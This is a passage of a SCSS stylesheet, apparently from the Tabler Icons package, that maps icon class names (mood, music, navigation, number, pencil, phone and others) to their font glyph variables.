$ti-icon-mobiledata-off;\n}\n\n.#{$ti-prefix}-moneybag:before {\n  content: $ti-icon-moneybag;\n}\n\n.#{$ti-prefix}-mood-angry:before {\n  content: $ti-icon-mood-angry;\n}\n\n.#{$ti-prefix}-mood-annoyed:before {\n  content: $ti-icon-mood-annoyed;\n}\n\n.#{$ti-prefix}-mood-annoyed-2:before {\n  content: $ti-icon-mood-annoyed-2;\n}\n\n.#{$ti-prefix}-mood-boy:before {\n  content: $ti-icon-mood-boy;\n}\n\n.#{$ti-prefix}-mood-check:before {\n  content: $ti-icon-mood-check;\n}\n\n.#{$ti-prefix}-mood-cog:before {\n  content: $ti-icon-mood-cog;\n}\n\n.#{$ti-prefix}-mood-confuzed:before {\n  content: $ti-icon-mood-confuzed;\n}\n\n.#{$ti-prefix}-mood-confuzed-filled:before {\n  content: $ti-icon-mood-confuzed-filled;\n}\n\n.#{$ti-prefix}-mood-crazy-happy:before {\n  content: $ti-icon-mood-crazy-happy;\n}\n\n.#{$ti-prefix}-mood-cry:before {\n  content: $ti-icon-mood-cry;\n}\n\n.#{$ti-prefix}-mood-dollar:before {\n  content: $ti-icon-mood-dollar;\n}\n\n.#{$ti-prefix}-mood-edit:before {\n  content: $ti-icon-mood-edit;\n}\n\n.#{$ti-prefix}-mood-empty:before {\n  content: $ti-icon-mood-empty;\n}\n\n.#{$ti-prefix}-mood-empty-filled:before {\n  content: $ti-icon-mood-empty-filled;\n}\n\n.#{$ti-prefix}-mood-happy:before {\n  content: $ti-icon-mood-happy;\n}\n\n.#{$ti-prefix}-mood-happy-filled:before {\n  content: $ti-icon-mood-happy-filled;\n}\n\n.#{$ti-prefix}-mood-heart:before {\n  content: $ti-icon-mood-heart;\n}\n\n.#{$ti-prefix}-mood-kid:before {\n  content: $ti-icon-mood-kid;\n}\n\n.#{$ti-prefix}-mood-kid-filled:before {\n  content: $ti-icon-mood-kid-filled;\n}\n\n.#{$ti-prefix}-mood-look-down:before {\n  content: $ti-icon-mood-look-down;\n}\n\n.#{$ti-prefix}-mood-look-left:before {\n  content: $ti-icon-mood-look-left;\n}\n\n.#{$ti-prefix}-mood-look-right:before {\n  content: $ti-icon-mood-look-right;\n}\n\n.#{$ti-prefix}-mood-look-up:before {\n  content: $ti-icon-mood-look-up;\n}\n\n.#{$ti-prefix}-mood-minus:before {\n  content: $ti-icon-mood-minus;\n}\n\n.#{$ti-prefix}-mood-nerd:before {\n  content: $ti-icon-mood-nerd;\n}\n\n.#{$ti-prefix}-mood-nervous:before {\n  content: $ti-icon-mood-nervous;\n}\n\n.#{$ti-prefix}-mood-neutral:before {\n  content: $ti-icon-mood-neutral;\n}\n\n.#{$ti-prefix}-mood-neutral-filled:before {\n  content: $ti-icon-mood-neutral-filled;\n}\n\n.#{$ti-prefix}-mood-off:before {\n  content: $ti-icon-mood-off;\n}\n\n.#{$ti-prefix}-mood-pin:before {\n  content: $ti-icon-mood-pin;\n}\n\n.#{$ti-prefix}-mood-plus:before {\n  content: $ti-icon-mood-plus;\n}\n\n.#{$ti-prefix}-mood-puzzled:before {\n  content: $ti-icon-mood-puzzled;\n}\n\n.#{$ti-prefix}-mood-sad:before {\n  content: $ti-icon-mood-sad;\n}\n\n.#{$ti-prefix}-mood-sad-2:before {\n  content: $ti-icon-mood-sad-2;\n}\n\n.#{$ti-prefix}-mood-sad-dizzy:before {\n  content: $ti-icon-mood-sad-dizzy;\n}\n\n.#{$ti-prefix}-mood-sad-filled:before {\n  content: $ti-icon-mood-sad-filled;\n}\n\n.#{$ti-prefix}-mood-sad-squint:before {\n  content: $ti-icon-mood-sad-squint;\n}\n\n.#{$ti-prefix}-mood-search:before {\n  content: $ti-icon-mood-search;\n}\n\n.#{$ti-prefix}-mood-share:before {\n  content: $ti-icon-mood-share;\n}\n\n.#{$ti-prefix}-mood-sick:before {\n  content: $ti-icon-mood-sick;\n}\n\n.#{$ti-prefix}-mood-silence:before {\n  content: $ti-icon-mood-silence;\n}\n\n.#{$ti-prefix}-mood-sing:before {\n  content: $ti-icon-mood-sing;\n}\n\n.#{$ti-prefix}-mood-smile:before {\n  content: $ti-icon-mood-smile;\n}\n\n.#{$ti-prefix}-mood-smile-beam:before {\n  content: $ti-icon-mood-smile-beam;\n}\n\n.#{$ti-prefix}-mood-smile-dizzy:before {\n  content: $ti-icon-mood-smile-dizzy;\n}\n\n.#{$ti-prefix}-mood-smile-filled:before {\n  content: $ti-icon-mood-smile-filled;\n}\n\n.#{$ti-prefix}-mood-suprised:before {\n  content: $ti-icon-mood-suprised;\n}\n\n.#{$ti-prefix}-mood-tongue:before {\n  content: $ti-icon-mood-tongue;\n}\n\n.#{$ti-prefix}-mood-tongue-wink:before {\n  content: $ti-icon-mood-tongue-wink;\n}\n\n.#{$ti-prefix}-mood-tongue-wink-2:before {\n  content: $ti-icon-mood-tongue-wink-2;\n}\n\n.#{$ti-prefix}-mood-unamused:before {\n  content: $ti-icon-mood-unamused;\n}\n\n.#{$ti-prefix}-mood-up:before {\n  content: $ti-icon-mood-up;\n}\n\n.#{$ti-prefix}-mood-wink:before {\n  content: $ti-icon-mood-wink;\n}\n\n.#{$ti-prefix}-mood-wink-2:before {\n  content: $ti-icon-mood-wink-2;\n}\n\n.#{$ti-prefix}-mood-wrrr:before {\n  content: $ti-icon-mood-wrrr;\n}\n\n.#{$ti-prefix}-mood-x:before {\n  content: $ti-icon-mood-x;\n}\n\n.#{$ti-prefix}-mood-xd:before {\n  content: $ti-icon-mood-xd;\n}\n\n.#{$ti-prefix}-moon:before {\n  content: $ti-icon-moon;\n}\n\n.#{$ti-prefix}-moon-2:before {\n  content: $ti-icon-moon-2;\n}\n\n.#{$ti-prefix}-moon-filled:before {\n  content: $ti-icon-moon-filled;\n}\n\n.#{$ti-prefix}-moon-off:before {\n  content: $ti-icon-moon-off;\n}\n\n.#{$ti-prefix}-moon-stars:before {\n  content: $ti-icon-moon-stars;\n}\n\n.#{$ti-prefix}-moped:before {\n  content: $ti-icon-moped;\n}\n\n.#{$ti-prefix}-motorbike:before {\n  content: $ti-icon-motorbike;\n}\n\n.#{$ti-prefix}-mountain:before {\n  content: $ti-icon-mountain;\n}\n\n.#{$ti-prefix}-mountain-off:before {\n  content: $ti-icon-mountain-off;\n}\n\n.#{$ti-prefix}-mouse:before {\n  content: $ti-icon-mouse;\n}\n\n.#{$ti-prefix}-mouse-2:before {\n  content: $ti-icon-mouse-2;\n}\n\n.#{$ti-prefix}-mouse-filled:before {\n  content: $ti-icon-mouse-filled;\n}\n\n.#{$ti-prefix}-mouse-off:before {\n  content: $ti-icon-mouse-off;\n}\n\n.#{$ti-prefix}-moustache:before {\n  content: $ti-icon-moustache;\n}\n\n.#{$ti-prefix}-movie:before {\n  content: $ti-icon-movie;\n}\n\n.#{$ti-prefix}-movie-off:before {\n  content: $ti-icon-movie-off;\n}\n\n.#{$ti-prefix}-mug:before {\n  content: $ti-icon-mug;\n}\n\n.#{$ti-prefix}-mug-off:before {\n  content: $ti-icon-mug-off;\n}\n\n.#{$ti-prefix}-multiplier-0-5x:before {\n  content: $ti-icon-multiplier-0-5x;\n}\n\n.#{$ti-prefix}-multiplier-1-5x:before {\n  content: $ti-icon-multiplier-1-5x;\n}\n\n.#{$ti-prefix}-multiplier-1x:before {\n  content: $ti-icon-multiplier-1x;\n}\n\n.#{$ti-prefix}-multiplier-2x:before {\n  content: $ti-icon-multiplier-2x;\n}\n\n.#{$ti-prefix}-mushroom:before {\n  content: $ti-icon-mushroom;\n}\n\n.#{$ti-prefix}-mushroom-filled:before {\n  content: $ti-icon-mushroom-filled;\n}\n\n.#{$ti-prefix}-mushroom-off:before {\n  content: $ti-icon-mushroom-off;\n}\n\n.#{$ti-prefix}-music:before {\n  content: $ti-icon-music;\n}\n\n.#{$ti-prefix}-music-bolt:before {\n  content: $ti-icon-music-bolt;\n}\n\n.#{$ti-prefix}-music-cancel:before {\n  content: $ti-icon-music-cancel;\n}\n\n.#{$ti-prefix}-music-check:before {\n  content: $ti-icon-music-check;\n}\n\n.#{$ti-prefix}-music-code:before {\n  content: $ti-icon-music-code;\n}\n\n.#{$ti-prefix}-music-cog:before {\n  content: $ti-icon-music-cog;\n}\n\n.#{$ti-prefix}-music-discount:before {\n  content: $ti-icon-music-discount;\n}\n\n.#{$ti-prefix}-music-dollar:before {\n  content: $ti-icon-music-dollar;\n}\n\n.#{$ti-prefix}-music-down:before {\n  content: $ti-icon-music-down;\n}\n\n.#{$ti-prefix}-music-exclamation:before {\n  content: $ti-icon-music-exclamation;\n}\n\n.#{$ti-prefix}-music-heart:before {\n  content: $ti-icon-music-heart;\n}\n\n.#{$ti-prefix}-music-minus:before {\n  content: $ti-icon-music-minus;\n}\n\n.#{$ti-prefix}-music-off:before {\n  content: $ti-icon-music-off;\n}\n\n.#{$ti-prefix}-music-pause:before {\n  content: $ti-icon-music-pause;\n}\n\n.#{$ti-prefix}-music-pin:before {\n  content: $ti-icon-music-pin;\n}\n\n.#{$ti-prefix}-music-plus:before {\n  content: $ti-icon-music-plus;\n}\n\n.#{$ti-prefix}-music-question:before {\n  content: $ti-icon-music-question;\n}\n\n.#{$ti-prefix}-music-search:before {\n  content: $ti-icon-music-search;\n}\n\n.#{$ti-prefix}-music-share:before {\n  content: $ti-icon-music-share;\n}\n\n.#{$ti-prefix}-music-star:before {\n  content: $ti-icon-music-star;\n}\n\n.#{$ti-prefix}-music-up:before {\n  content: $ti-icon-music-up;\n}\n\n.#{$ti-prefix}-music-x:before {\n  content: $ti-icon-music-x;\n}\n\n.#{$ti-prefix}-navigation:before {\n  content: $ti-icon-navigation;\n}\n\n.#{$ti-prefix}-navigation-bolt:before {\n  content: $ti-icon-navigation-bolt;\n}\n\n.#{$ti-prefix}-navigation-cancel:before {\n  content: $ti-icon-navigation-cancel;\n}\n\n.#{$ti-prefix}-navigation-check:before {\n  content: $ti-icon-navigation-check;\n}\n\n.#{$ti-prefix}-navigation-code:before {\n  content: $ti-icon-navigation-code;\n}\n\n.#{$ti-prefix}-navigation-cog:before {\n  content: $ti-icon-navigation-cog;\n}\n\n.#{$ti-prefix}-navigation-discount:before {\n  content: $ti-icon-navigation-discount;\n}\n\n.#{$ti-prefix}-navigation-dollar:before {\n  content: $ti-icon-navigation-dollar;\n}\n\n.#{$ti-prefix}-navigation-down:before {\n  content: $ti-icon-navigation-down;\n}\n\n.#{$ti-prefix}-navigation-east:before {\n  content: $ti-icon-navigation-east;\n}\n\n.#{$ti-prefix}-navigation-exclamation:before {\n  content: $ti-icon-navigation-exclamation;\n}\n\n.#{$ti-prefix}-navigation-filled:before {\n  content: $ti-icon-navigation-filled;\n}\n\n.#{$ti-prefix}-navigation-heart:before {\n  content: $ti-icon-navigation-heart;\n}\n\n.#{$ti-prefix}-navigation-minus:before {\n  content: $ti-icon-navigation-minus;\n}\n\n.#{$ti-prefix}-navigation-north:before {\n  content: $ti-icon-navigation-north;\n}\n\n.#{$ti-prefix}-navigation-off:before {\n  content: $ti-icon-navigation-off;\n}\n\n.#{$ti-prefix}-navigation-pause:before {\n  content: $ti-icon-navigation-pause;\n}\n\n.#{$ti-prefix}-navigation-pin:before {\n  content: $ti-icon-navigation-pin;\n}\n\n.#{$ti-prefix}-navigation-plus:before {\n  content: $ti-icon-navigation-plus;\n}\n\n.#{$ti-prefix}-navigation-question:before {\n  content: $ti-icon-navigation-question;\n}\n\n.#{$ti-prefix}-navigation-search:before {\n  content: $ti-icon-navigation-search;\n}\n\n.#{$ti-prefix}-navigation-share:before {\n  content: $ti-icon-navigation-share;\n}\n\n.#{$ti-prefix}-navigation-south:before {\n  content: $ti-icon-navigation-south;\n}\n\n.#{$ti-prefix}-navigation-star:before {\n  content: $ti-icon-navigation-star;\n}\n\n.#{$ti-prefix}-navigation-top:before {\n  content: $ti-icon-navigation-top;\n}\n\n.#{$ti-prefix}-navigation-up:before {\n  content: $ti-icon-navigation-up;\n}\n\n.#{$ti-prefix}-navigation-west:before {\n  content: $ti-icon-navigation-west;\n}\n\n.#{$ti-prefix}-navigation-x:before {\n  content: $ti-icon-navigation-x;\n}\n\n.#{$ti-prefix}-needle:before {\n  content: $ti-icon-needle;\n}\n\n.#{$ti-prefix}-needle-thread:before {\n  content: $ti-icon-needle-thread;\n}\n\n.#{$ti-prefix}-network:before {\n  content: $ti-icon-network;\n}\n\n.#{$ti-prefix}-network-off:before {\n  content: $ti-icon-network-off;\n}\n\n.#{$ti-prefix}-new-section:before {\n  content: $ti-icon-new-section;\n}\n\n.#{$ti-prefix}-news:before {\n  content: $ti-icon-news;\n}\n\n.#{$ti-prefix}-news-off:before {\n  content: $ti-icon-news-off;\n}\n\n.#{$ti-prefix}-nfc:before {\n  content: $ti-icon-nfc;\n}\n\n.#{$ti-prefix}-nfc-off:before {\n  content: $ti-icon-nfc-off;\n}\n\n.#{$ti-prefix}-no-copyright:before {\n  content: $ti-icon-no-copyright;\n}\n\n.#{$ti-prefix}-no-creative-commons:before {\n  content: $ti-icon-no-creative-commons;\n}\n\n.#{$ti-prefix}-no-derivatives:before {\n  content: $ti-icon-no-derivatives;\n}\n\n.#{$ti-prefix}-north-star:before {\n  content: $ti-icon-north-star;\n}\n\n.#{$ti-prefix}-note:before {\n  content: $ti-icon-note;\n}\n\n.#{$ti-prefix}-note-off:before {\n  content: $ti-icon-note-off;\n}\n\n.#{$ti-prefix}-notebook:before {\n  content: $ti-icon-notebook;\n}\n\n.#{$ti-prefix}-notebook-off:before {\n  content: $ti-icon-notebook-off;\n}\n\n.#{$ti-prefix}-notes:before {\n  content: $ti-icon-notes;\n}\n\n.#{$ti-prefix}-notes-off:before {\n  content: $ti-icon-notes-off;\n}\n\n.#{$ti-prefix}-notification:before {\n  content: $ti-icon-notification;\n}\n\n.#{$ti-prefix}-notification-off:before {\n  content: $ti-icon-notification-off;\n}\n\n.#{$ti-prefix}-number:before {\n  content: $ti-icon-number;\n}\n\n.#{$ti-prefix}-number-0:before {\n  content: $ti-icon-number-0;\n}\n\n.#{$ti-prefix}-number-0-small:before {\n  content: $ti-icon-number-0-small;\n}\n\n.#{$ti-prefix}-number-1:before {\n  content: $ti-icon-number-1;\n}\n\n.#{$ti-prefix}-number-1-small:before {\n  content: $ti-icon-number-1-small;\n}\n\n.#{$ti-prefix}-number-10-small:before {\n  content: $ti-icon-number-10-small;\n}\n\n.#{$ti-prefix}-number-11-small:before {\n  content: $ti-icon-number-11-small;\n}\n\n.#{$ti-prefix}-number-12-small:before {\n  content: $ti-icon-number-12-small;\n}\n\n.#{$ti-prefix}-number-123:before {\n  content: $ti-icon-number-123;\n}\n\n.#{$ti-prefix}-number-13-small:before {\n  content: $ti-icon-number-13-small;\n}\n\n.#{$ti-prefix}-number-14-small:before {\n  content: $ti-icon-number-14-small;\n}\n\n.#{$ti-prefix}-number-15-small:before {\n  content: $ti-icon-number-15-small;\n}\n\n.#{$ti-prefix}-number-16-small:before {\n  content: $ti-icon-number-16-small;\n}\n\n.#{$ti-prefix}-number-17-small:before {\n  content: $ti-icon-number-17-small;\n}\n\n.#{$ti-prefix}-number-18-small:before {\n  content: $ti-icon-number-18-small;\n}\n\n.#{$ti-prefix}-number-19-small:before {\n  content: $ti-icon-number-19-small;\n}\n\n.#{$ti-prefix}-number-2:before {\n  content: $ti-icon-number-2;\n}\n\n.#{$ti-prefix}-number-2-small:before {\n  content: $ti-icon-number-2-small;\n}\n\n.#{$ti-prefix}-number-20-small:before {\n  content: $ti-icon-number-20-small;\n}\n\n.#{$ti-prefix}-number-21-small:before {\n  content: $ti-icon-number-21-small;\n}\n\n.#{$ti-prefix}-number-22-small:before {\n  content: $ti-icon-number-22-small;\n}\n\n.#{$ti-prefix}-number-23-small:before {\n  content: $ti-icon-number-23-small;\n}\n\n.#{$ti-prefix}-number-24-small:before {\n  content: $ti-icon-number-24-small;\n}\n\n.#{$ti-prefix}-number-25-small:before {\n  content: $ti-icon-number-25-small;\n}\n\n.#{$ti-prefix}-number-26-small:before {\n  content: $ti-icon-number-26-small;\n}\n\n.#{$ti-prefix}-number-27-small:before {\n  content: $ti-icon-number-27-small;\n}\n\n.#{$ti-prefix}-number-28-small:before {\n  content: $ti-icon-number-28-small;\n}\n\n.#{$ti-prefix}-number-29-small:before {\n  content: $ti-icon-number-29-small;\n}\n\n.#{$ti-prefix}-number-3:before {\n  content: $ti-icon-number-3;\n}\n\n.#{$ti-prefix}-number-3-small:before {\n  content: $ti-icon-number-3-small;\n}\n\n.#{$ti-prefix}-number-4:before {\n  content: $ti-icon-number-4;\n}\n\n.#{$ti-prefix}-number-4-small:before {\n  content: $ti-icon-number-4-small;\n}\n\n.#{$ti-prefix}-number-5:before {\n  content: $ti-icon-number-5;\n}\n\n.#{$ti-prefix}-number-5-small:before {\n  content: $ti-icon-number-5-small;\n}\n\n.#{$ti-prefix}-number-6:before {\n  content: $ti-icon-number-6;\n}\n\n.#{$ti-prefix}-number-6-small:before {\n  content: $ti-icon-number-6-small;\n}\n\n.#{$ti-prefix}-number-7:before {\n  content: $ti-icon-number-7;\n}\n\n.#{$ti-prefix}-number-7-small:before {\n  content: $ti-icon-number-7-small;\n}\n\n.#{$ti-prefix}-number-8:before {\n  content: $ti-icon-number-8;\n}\n\n.#{$ti-prefix}-number-8-small:before {\n  content: $ti-icon-number-8-small;\n}\n\n.#{$ti-prefix}-number-9:before {\n  content: $ti-icon-number-9;\n}\n\n.#{$ti-prefix}-number-9-small:before {\n  content: $ti-icon-number-9-small;\n}\n\n.#{$ti-prefix}-numbers:before {\n  content: $ti-icon-numbers;\n}\n\n.#{$ti-prefix}-nurse:before {\n  content: $ti-icon-nurse;\n}\n\n.#{$ti-prefix}-nut:before {\n  content: $ti-icon-nut;\n}\n\n.#{$ti-prefix}-octagon:before {\n  content: $ti-icon-octagon;\n}\n\n.#{$ti-prefix}-octagon-filled:before {\n  content: $ti-icon-octagon-filled;\n}\n\n.#{$ti-prefix}-octagon-minus:before {\n  content: $ti-icon-octagon-minus;\n}\n\n.#{$ti-prefix}-octagon-minus-2:before {\n  content: $ti-icon-octagon-minus-2;\n}\n\n.#{$ti-prefix}-octagon-off:before {\n  content: $ti-icon-octagon-off;\n}\n\n.#{$ti-prefix}-octagon-plus:before {\n  content: $ti-icon-octagon-plus;\n}\n\n.#{$ti-prefix}-octagon-plus-2:before {\n  content: $ti-icon-octagon-plus-2;\n}\n\n.#{$ti-prefix}-octahedron:before {\n  content: $ti-icon-octahedron;\n}\n\n.#{$ti-prefix}-octahedron-off:before {\n  content: $ti-icon-octahedron-off;\n}\n\n.#{$ti-prefix}-octahedron-plus:before {\n  content: $ti-icon-octahedron-plus;\n}\n\n.#{$ti-prefix}-old:before {\n  content: $ti-icon-old;\n}\n\n.#{$ti-prefix}-olympics:before {\n  content: $ti-icon-olympics;\n}\n\n.#{$ti-prefix}-olympics-off:before {\n  content: $ti-icon-olympics-off;\n}\n\n.#{$ti-prefix}-om:before {\n  content: $ti-icon-om;\n}\n\n.#{$ti-prefix}-omega:before {\n  content: $ti-icon-omega;\n}\n\n.#{$ti-prefix}-outbound:before {\n  content: $ti-icon-outbound;\n}\n\n.#{$ti-prefix}-outlet:before {\n  content: $ti-icon-outlet;\n}\n\n.#{$ti-prefix}-oval:before {\n  content: $ti-icon-oval;\n}\n\n.#{$ti-prefix}-oval-filled:before {\n  content: $ti-icon-oval-filled;\n}\n\n.#{$ti-prefix}-oval-vertical:before {\n  content: $ti-icon-oval-vertical;\n}\n\n.#{$ti-prefix}-oval-vertical-filled:before {\n  content: $ti-icon-oval-vertical-filled;\n}\n\n.#{$ti-prefix}-overline:before {\n  content: $ti-icon-overline;\n}\n\n.#{$ti-prefix}-package:before {\n  content: $ti-icon-package;\n}\n\n.#{$ti-prefix}-package-export:before {\n  content: $ti-icon-package-export;\n}\n\n.#{$ti-prefix}-package-import:before {\n  content: $ti-icon-package-import;\n}\n\n.#{$ti-prefix}-package-off:before {\n  content: $ti-icon-package-off;\n}\n\n.#{$ti-prefix}-packages:before {\n  content: $ti-icon-packages;\n}\n\n.#{$ti-prefix}-pacman:before {\n  content: $ti-icon-pacman;\n}\n\n.#{$ti-prefix}-page-break:before {\n  content: $ti-icon-page-break;\n}\n\n.#{$ti-prefix}-paint:before {\n  content: $ti-icon-paint;\n}\n\n.#{$ti-prefix}-paint-filled:before {\n  content: $ti-icon-paint-filled;\n}\n\n.#{$ti-prefix}-paint-off:before {\n  content: $ti-icon-paint-off;\n}\n\n.#{$ti-prefix}-palette:before {\n  content: $ti-icon-palette;\n}\n\n.#{$ti-prefix}-palette-off:before {\n  content: $ti-icon-palette-off;\n}\n\n.#{$ti-prefix}-panorama-horizontal:before {\n  content: $ti-icon-panorama-horizontal;\n}\n\n.#{$ti-prefix}-panorama-horizontal-off:before {\n  content: $ti-icon-panorama-horizontal-off;\n}\n\n.#{$ti-prefix}-panorama-vertical:before {\n  content: $ti-icon-panorama-vertical;\n}\n\n.#{$ti-prefix}-panorama-vertical-off:before {\n  content: $ti-icon-panorama-vertical-off;\n}\n\n.#{$ti-prefix}-paper-bag:before {\n  content: $ti-icon-paper-bag;\n}\n\n.#{$ti-prefix}-paper-bag-off:before {\n  content: $ti-icon-paper-bag-off;\n}\n\n.#{$ti-prefix}-paperclip:before {\n  content: $ti-icon-paperclip;\n}\n\n.#{$ti-prefix}-parachute:before {\n  content: $ti-icon-parachute;\n}\n\n.#{$ti-prefix}-parachute-off:before {\n  content: $ti-icon-parachute-off;\n}\n\n.#{$ti-prefix}-parentheses:before {\n  content: $ti-icon-parentheses;\n}\n\n.#{$ti-prefix}-parentheses-off:before {\n  content: $ti-icon-parentheses-off;\n}\n\n.#{$ti-prefix}-parking:before {\n  content: $ti-icon-parking;\n}\n\n.#{$ti-prefix}-parking-circle:before {\n  content: $ti-icon-parking-circle;\n}\n\n.#{$ti-prefix}-parking-off:before {\n  content: $ti-icon-parking-off;\n}\n\n.#{$ti-prefix}-password:before {\n  content: $ti-icon-password;\n}\n\n.#{$ti-prefix}-password-fingerprint:before {\n  content: $ti-icon-password-fingerprint;\n}\n\n.#{$ti-prefix}-password-mobile-phone:before {\n  content: $ti-icon-password-mobile-phone;\n}\n\n.#{$ti-prefix}-password-user:before {\n  content: $ti-icon-password-user;\n}\n\n.#{$ti-prefix}-paw:before {\n  content: $ti-icon-paw;\n}\n\n.#{$ti-prefix}-paw-filled:before {\n  content: $ti-icon-paw-filled;\n}\n\n.#{$ti-prefix}-paw-off:before {\n  content: $ti-icon-paw-off;\n}\n\n.#{$ti-prefix}-paywall:before {\n  content: $ti-icon-paywall;\n}\n\n.#{$ti-prefix}-pdf:before {\n  content: $ti-icon-pdf;\n}\n\n.#{$ti-prefix}-peace:before {\n  content: $ti-icon-peace;\n}\n\n.#{$ti-prefix}-pencil:before {\n  content: $ti-icon-pencil;\n}\n\n.#{$ti-prefix}-pencil-bolt:before {\n  content: $ti-icon-pencil-bolt;\n}\n\n.#{$ti-prefix}-pencil-cancel:before {\n  content: $ti-icon-pencil-cancel;\n}\n\n.#{$ti-prefix}-pencil-check:before {\n  content: $ti-icon-pencil-check;\n}\n\n.#{$ti-prefix}-pencil-code:before {\n  content: $ti-icon-pencil-code;\n}\n\n.#{$ti-prefix}-pencil-cog:before {\n  content: $ti-icon-pencil-cog;\n}\n\n.#{$ti-prefix}-pencil-discount:before {\n  content: $ti-icon-pencil-discount;\n}\n\n.#{$ti-prefix}-pencil-dollar:before {\n  content: $ti-icon-pencil-dollar;\n}\n\n.#{$ti-prefix}-pencil-down:before {\n  content: $ti-icon-pencil-down;\n}\n\n.#{$ti-prefix}-pencil-exclamation:before {\n  content: $ti-icon-pencil-exclamation;\n}\n\n.#{$ti-prefix}-pencil-heart:before {\n  content: $ti-icon-pencil-heart;\n}\n\n.#{$ti-prefix}-pencil-minus:before {\n  content: $ti-icon-pencil-minus;\n}\n\n.#{$ti-prefix}-pencil-off:before {\n  content: $ti-icon-pencil-off;\n}\n\n.#{$ti-prefix}-pencil-pause:before {\n  content: $ti-icon-pencil-pause;\n}\n\n.#{$ti-prefix}-pencil-pin:before {\n  content: $ti-icon-pencil-pin;\n}\n\n.#{$ti-prefix}-pencil-plus:before {\n  content: $ti-icon-pencil-plus;\n}\n\n.#{$ti-prefix}-pencil-question:before {\n  content: $ti-icon-pencil-question;\n}\n\n.#{$ti-prefix}-pencil-search:before {\n  content: $ti-icon-pencil-search;\n}\n\n.#{$ti-prefix}-pencil-share:before {\n  content: $ti-icon-pencil-share;\n}\n\n.#{$ti-prefix}-pencil-star:before {\n  content: $ti-icon-pencil-star;\n}\n\n.#{$ti-prefix}-pencil-up:before {\n  content: $ti-icon-pencil-up;\n}\n\n.#{$ti-prefix}-pencil-x:before {\n  content: $ti-icon-pencil-x;\n}\n\n.#{$ti-prefix}-pennant:before {\n  content: $ti-icon-pennant;\n}\n\n.#{$ti-prefix}-pennant-2:before {\n  content: $ti-icon-pennant-2;\n}\n\n.#{$ti-prefix}-pennant-2-filled:before {\n  content: $ti-icon-pennant-2-filled;\n}\n\n.#{$ti-prefix}-pennant-filled:before {\n  content: $ti-icon-pennant-filled;\n}\n\n.#{$ti-prefix}-pennant-off:before {\n  content: $ti-icon-pennant-off;\n}\n\n.#{$ti-prefix}-pentagon:before {\n  content: $ti-icon-pentagon;\n}\n\n.#{$ti-prefix}-pentagon-filled:before {\n  content: $ti-icon-pentagon-filled;\n}\n\n.#{$ti-prefix}-pentagon-number-0:before {\n  content: $ti-icon-pentagon-number-0;\n}\n\n.#{$ti-prefix}-pentagon-number-1:before {\n  content: $ti-icon-pentagon-number-1;\n}\n\n.#{$ti-prefix}-pentagon-number-2:before {\n  content: $ti-icon-pentagon-number-2;\n}\n\n.#{$ti-prefix}-pentagon-number-3:before {\n  content: $ti-icon-pentagon-number-3;\n}\n\n.#{$ti-prefix}-pentagon-number-4:before {\n  content: $ti-icon-pentagon-number-4;\n}\n\n.#{$ti-prefix}-pentagon-number-5:before {\n  content: $ti-icon-pentagon-number-5;\n}\n\n.#{$ti-prefix}-pentagon-number-6:before {\n  content: $ti-icon-pentagon-number-6;\n}\n\n.#{$ti-prefix}-pentagon-number-7:before {\n  content: $ti-icon-pentagon-number-7;\n}\n\n.#{$ti-prefix}-pentagon-number-8:before {\n  content: $ti-icon-pentagon-number-8;\n}\n\n.#{$ti-prefix}-pentagon-number-9:before {\n  content: $ti-icon-pentagon-number-9;\n}\n\n.#{$ti-prefix}-pentagon-off:before {\n  content: $ti-icon-pentagon-off;\n}\n\n.#{$ti-prefix}-pentagon-plus:before {\n  content: $ti-icon-pentagon-plus;\n}\n\n.#{$ti-prefix}-pentagon-x:before {\n  content: $ti-icon-pentagon-x;\n}\n\n.#{$ti-prefix}-pentagram:before {\n  content: $ti-icon-pentagram;\n}\n\n.#{$ti-prefix}-pepper:before {\n  content: $ti-icon-pepper;\n}\n\n.#{$ti-prefix}-pepper-off:before {\n  content: $ti-icon-pepper-off;\n}\n\n.#{$ti-prefix}-percentage:before {\n  content: $ti-icon-percentage;\n}\n\n.#{$ti-prefix}-perfume:before {\n  content: $ti-icon-perfume;\n}\n\n.#{$ti-prefix}-perspective:before {\n  content: $ti-icon-perspective;\n}\n\n.#{$ti-prefix}-perspective-off:before {\n  content: $ti-icon-perspective-off;\n}\n\n.#{$ti-prefix}-phone:before {\n  content: $ti-icon-phone;\n}\n\n.#{$ti-prefix}-phone-call:before {\n  content: $ti-icon-phone-call;\n}\n\n.#{$ti-prefix}-phone-calling:before {\n  content: $ti-icon-phone-calling;\n}\n\n.#{$ti-prefix}-phone-check:before {\n  content: $ti-icon-phone-check;\n}\n\n.#{$ti-prefix}-phone-filled:before {\n  content: $ti-icon-phone-filled;\n}\n\n.#{$ti-prefix}-phone-incoming:before {\n  content: $ti-icon-phone-incoming;\n}\n\n.#{$ti-prefix}-phone-off:before {\n  content: $ti-icon-phone-off;\n}\n\n.#{$ti-prefix}-phone-outgoing:before {\n  content: $ti-icon-phone-outgoing;\n}\n\n.#{$ti-prefix}-phone-pause:before {\n  content: $ti-icon-phone-pause;\n}\n\n.#{$ti-prefix}-phone-plus:before {\n  content: $ti-icon-phone-plus;\n}\n\n.#{$ti-prefix}-phone-x:before {\n  content: $ti-icon-phone-x;\n}\n\n.#{$ti-prefix}-photo:before {\n  content: $ti-icon-photo;\n}\n\n.#{$ti-prefix}-photo-ai:before {\n  content: $ti-icon-photo-ai;\n}\n\n.#{$ti-prefix}-photo-bolt:before {\n  content: $ti-icon-photo-bolt;\n}\n\n.#{$ti-prefix}-photo-cancel:before {\n  content: $ti-icon-photo-cancel;\n}\n\n.#{$ti-prefix}-photo-check:before {\n  content: $ti-icon-photo-check;\n}\n\n.#{$ti-prefix}-photo-circle:before {\n  content: $ti-icon-photo-circle;\n}\n\n.#{$ti-prefix}-photo-circle-minus:before {\n  content: $ti-icon-photo-circle-minus;\n}\n\n.#{$ti-prefix}-photo-circle-plus:before {\n  content: $ti-icon-photo-circle-plus;\n}\n\n.#{$ti-prefix}-photo-code:before {\n  content: $ti-icon-photo-code;\n}\n\n.#{$ti-prefix}-photo-cog:before {\n  content: $ti-icon-photo-cog;\n}\n\n.#{$ti-prefix}-photo-dollar:before {\n  content: $ti-icon-photo-dollar;\n}\n\n.#{$ti-prefix}-photo-down:before {\n  content: $ti-icon-photo-down;\n}\n\n.#{$ti-prefix}-photo-edit:before {\n  content: $ti-icon-photo-edit;\n}\n\n.#{$ti-prefix}-photo-exclamation:before {\n  content: $ti-icon-photo-exclamation;\n}\n\n.#{$ti-prefix}-photo-filled:before {\n  content: $ti-icon-photo-filled;\n}\n\n.#{$ti-prefix}-photo-heart:before {\n  content: 